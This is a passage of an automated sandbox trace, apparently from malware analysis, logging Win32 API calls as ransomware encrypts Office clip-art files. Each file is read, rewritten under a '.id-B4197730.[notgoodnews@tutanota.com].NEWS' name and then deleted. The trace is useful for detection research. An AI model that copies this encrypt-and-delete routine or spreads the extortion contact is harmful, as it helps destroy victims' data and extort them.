[0182.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.582] lstrlenW (lpString=".dbf") returned 4 [0182.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.582] lstrlenW (lpString=".1cd") returned 4 [0182.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.582] lstrlenW (lpString=".jpg") returned 4 [0182.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.582] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.582] lstrlenW (lpString="J0107328.WMF") returned 12 [0182.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.584] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6532) returned 1 [0182.584] CloseHandle (hObject=0x53c) returned 1 [0182.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0182.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.586] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.586] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0182.587] GetLastError () returned 0x0 [0182.587] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1984, lpOverlapped=0x0) returned 1 [0182.628] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1990, lpOverlapped=0x0) returned 1 [0182.629] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.630] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0182.630] SetEndOfFile (hFile=0x518) returned 1 [0182.630] CloseHandle (hObject=0x518) returned 1 [0182.630] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.630] SetEndOfFile (hFile=0x53c) returned 1 [0182.634] CloseHandle (hObject=0x53c) returned 1 [0182.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0182.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.637] lstrlenW (lpString=".doc") returned 4 [0182.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.637] lstrlenW (lpString=".docx") returned 5 [0182.637] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.637] lstrlenW (lpString=".pdf") returned 4 [0182.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.637] lstrlenW (lpString=".xls") returned 4 [0182.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.637] lstrlenW (lpString=".xlsx") returned 5 [0182.637] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.637] lstrlenW (lpString=".ppt") returned 4 [0182.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.637] lstrlenW (lpString=".zip") returned 4 [0182.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.637] lstrlenW (lpString=".rar") returned 4 [0182.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.637] lstrlenW (lpString=".bz2") returned 4 [0182.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.637] lstrlenW (lpString=".7z") returned 3 [0182.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.638] lstrlenW (lpString=".dbf") returned 4 [0182.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.638] lstrlenW (lpString=".1cd") returned 4 [0182.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.638] lstrlenW (lpString=".jpg") returned 4 [0182.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.638] lstrlenW (lpString=".doc") returned 4 [0182.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.638] lstrlenW (lpString=".docx") returned 5 [0182.638] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.638] lstrlenW (lpString=".pdf") returned 4 [0182.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.638] lstrlenW (lpString=".xls") returned 4 [0182.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.638] lstrlenW (lpString=".xlsx") returned 5 [0182.638] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.638] lstrlenW (lpString=".ppt") returned 4 [0182.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.802] lstrlenW (lpString=".zip") returned 4 [0182.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.803] lstrlenW (lpString=".rar") returned 4 [0182.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.803] lstrlenW (lpString=".bz2") returned 4 [0182.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.803] lstrlenW (lpString=".7z") returned 3 [0182.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.803] lstrlenW (lpString=".dbf") returned 4 [0182.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.803] lstrlenW (lpString=".1cd") returned 4 [0182.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0182.803] lstrlenW (lpString=".jpg") returned 4 [0182.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.803] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.803] lstrlenW (lpString="J0107358.WMF") returned 12 [0182.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.892] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7964) returned 1 [0182.892] CloseHandle (hObject=0x36c) returned 1 [0182.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0182.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.893] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.893] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.894] GetLastError () returned 0x0 [0182.894] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0182.913] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1f20, lpOverlapped=0x0) returned 1 [0182.915] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.915] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0182.915] SetEndOfFile (hFile=0x558) returned 1 [0182.915] CloseHandle (hObject=0x558) returned 1 [0182.915] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.915] SetEndOfFile (hFile=0x36c) returned 1 [0182.922] CloseHandle (hObject=0x36c) returned 1 [0182.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0182.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.924] lstrlenW (lpString=".doc") returned 4 [0182.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.924] lstrlenW (lpString=".docx") returned 5 [0182.924] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.924] lstrlenW (lpString=".pdf") returned 4 [0182.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.924] lstrlenW (lpString=".xls") returned 4 [0182.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.924] lstrlenW (lpString=".xlsx") returned 5 [0182.924] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.924] lstrlenW (lpString=".ppt") returned 4 [0182.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.924] lstrlenW (lpString=".zip") returned 4 [0182.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.924] lstrlenW (lpString=".rar") returned 4 [0182.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.924] lstrlenW (lpString=".bz2") returned 4 [0182.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString=".7z") returned 3 [0182.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString=".dbf") returned 4 [0182.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString=".1cd") returned 4 [0182.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString=".jpg") returned 4 [0182.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString=".doc") returned 4 [0182.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString=".docx") returned 5 [0182.925] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.925] lstrlenW (lpString=".pdf") returned 4 [0182.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString=".xls") returned 4 [0182.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.925] lstrlenW (lpString=".xlsx") returned 5 [0182.925] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.925] lstrlenW (lpString=".ppt") returned 4 [0182.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.925] lstrlenW (lpString=".zip") returned 4 [0182.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.925] lstrlenW (lpString=".rar") returned 4 [0182.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.925] lstrlenW (lpString=".bz2") returned 4 [0182.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.926] lstrlenW (lpString=".7z") returned 3 [0182.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.926] lstrlenW (lpString=".dbf") returned 4 [0182.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.926] lstrlenW (lpString=".1cd") returned 4 [0182.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0182.926] lstrlenW (lpString=".jpg") returned 4 [0182.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.926] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.926] lstrlenW (lpString="J0107364.WMF") returned 12 [0182.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.939] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16588) returned 1 [0182.939] CloseHandle (hObject=0x36c) returned 1 [0182.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0182.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.940] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.940] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.942] GetLastError () returned 0x0 [0182.942] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x40cc, lpOverlapped=0x0) returned 1 [0182.955] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x40d0, lpOverlapped=0x0) returned 1 [0182.956] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.956] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0182.956] SetEndOfFile (hFile=0x558) returned 1 [0182.957] CloseHandle (hObject=0x558) returned 1 [0183.007] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.007] SetEndOfFile (hFile=0x36c) returned 1 [0183.010] CloseHandle (hObject=0x36c) returned 1 [0183.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.011] lstrlenW (lpString=".doc") returned 4 [0183.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.012] lstrlenW (lpString=".docx") returned 5 [0183.012] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0183.012] lstrlenW (lpString=".pdf") returned 4 [0183.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.012] lstrlenW (lpString=".xls") returned 4 [0183.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.012] lstrlenW (lpString=".xlsx") returned 5 [0183.012] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0183.012] lstrlenW (lpString=".ppt") returned 4 [0183.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString=".zip") returned 4 [0183.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.013] lstrlenW (lpString=".rar") returned 4 [0183.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString=".bz2") returned 4 [0183.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString=".7z") returned 3 [0183.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString=".dbf") returned 4 [0183.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString=".1cd") returned 4 [0183.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString=".jpg") returned 4 [0183.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.013] lstrlenW (lpString=".doc") returned 4 [0183.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.013] lstrlenW (lpString=".docx") returned 5 [0183.013] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0183.013] lstrlenW (lpString=".pdf") returned 4 [0183.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString=".xls") returned 4 [0183.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.014] lstrlenW (lpString=".xlsx") returned 5 [0183.014] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0183.014] lstrlenW (lpString=".ppt") returned 4 [0183.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.014] lstrlenW (lpString=".zip") returned 4 [0183.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.014] lstrlenW (lpString=".rar") returned 4 [0183.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString=".bz2") returned 4 [0183.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString=".7z") returned 3 [0183.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.014] lstrlenW (lpString=".dbf") returned 4 [0183.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.014] lstrlenW 